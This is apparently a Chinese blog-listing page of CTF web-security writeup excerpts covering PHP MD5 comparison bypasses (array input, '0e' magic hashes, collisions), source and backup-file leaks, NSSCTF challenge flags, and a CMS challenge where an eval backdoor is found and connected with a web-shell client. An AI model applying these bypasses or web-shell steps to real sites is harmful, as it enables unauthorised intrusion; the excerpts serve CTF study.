    审核代码,简单的md5绕过。 md5绕过,命令组合,shell里``中的内容会被当成代码执行 md5等于的绕过方法 数组绕过 a[]=1b[]=2, 0e绕过弱比较,md5后的值以0e开头即可绕过。 $a==md5 $a=0e215962017其md5后的值也为0e开头 md5碰撞绕过强比较。 md5碰撞绕过md5_1和2,数组绕过md5_3 进入新目录。

    2024年02月19日
    浏览(22)
  • 一、CTF-Web-信息泄露(记录CTF学习)

    目录 1.源码泄露  1-1.页面源代码泄露  1-2.敏感文件泄露        1-2-1.备份(.swp/.bak/.beifen/~/phps等)        1-2-2.数据库(mdb)        1-2-3.压缩包(zip/tar.gz/rar/7z等)        1-2-4.路径(.git/.svn/.hg/.DS_Store/WEBINF/web.xml/cvs/Bazaar/bzr)      2.robots.txt泄露      3.404页面泄露

    2024年02月06日
    浏览(40)
  • [SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ①

    NSSCTF平台:https://www.nssctf.cn/ 直接查看源代码 F12 搜 flag 即可。 NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft} NSSCTF{welcometo5space} 所以为满足 if 条件,输出flag,构造 Payload: NSSCTF{037de6d6-3b9e-4bb9-903f-4236c239b42a} 这里就是 md5 碰撞了 这里要求 a 和 b 输入值不相同, md5 加密后的值弱类型相等,

    2024年02月04日
    浏览(36)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(42)
  • 青少年CTF-Web-帝国CMS1-3通关记录

    本次进通过平台内题目进行,非真实环境。 首先下发题目链接 我们首先先找后台看看 后台地址为 /e/admin/ 随后,经过dirsearch进行扫描,得到了一个www.zip 访问扫描到的www.zip,得到网站源码 使用D盾扫描,得到eval后门。 蚁剑链接 得到根目录的Flag 这道题目和CMS01差不多,但是

    2024年02月03日
    浏览(37)
  • BUUCTF-WEB-刷题记录

    代码理解 进入主页后发现是代码审计 / 解题 总的来说关注三行就够了,连起来可以这样理解: 创建一个目录名为orange+右上角的访客ip的MD5加密值 d a t a 接受 s h e l l 命令最后写入目录名 / data接受shell命令最后写入目录名/ d a t a 接受 s h e ll 命令最后写入目录名 / filename文件名里

    2024年02月07日
    浏览(31)
  • 【Web】CTFSHOW 文件上传刷题记录(全)

    期末考完终于可以好好学ctf了,先把这些该回顾的回顾完,直接rushjava! 目录 web151 web152 web153 web154-155 web156-159 web160 web161 web162-163 web164 web165 web166 web167 web168 web169-170  如果直接上传php文件就会弹窗 直接禁js按钮就不能上传文件了  一种方法是改js代码(png=php) 然后直接上传即可

    2024年01月17日
    浏览(27)
  • 【Web】CTFSHOW PHP特性刷题记录(全)

    知其然知其所以然,尽量把每种特性都详细讲明白。 目录 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web100 web101 web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 web123 web125 web126 web127 web128 web129 web130 web131 web132 web133 web134 web135 web136 web137 web138

    2024年01月17日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包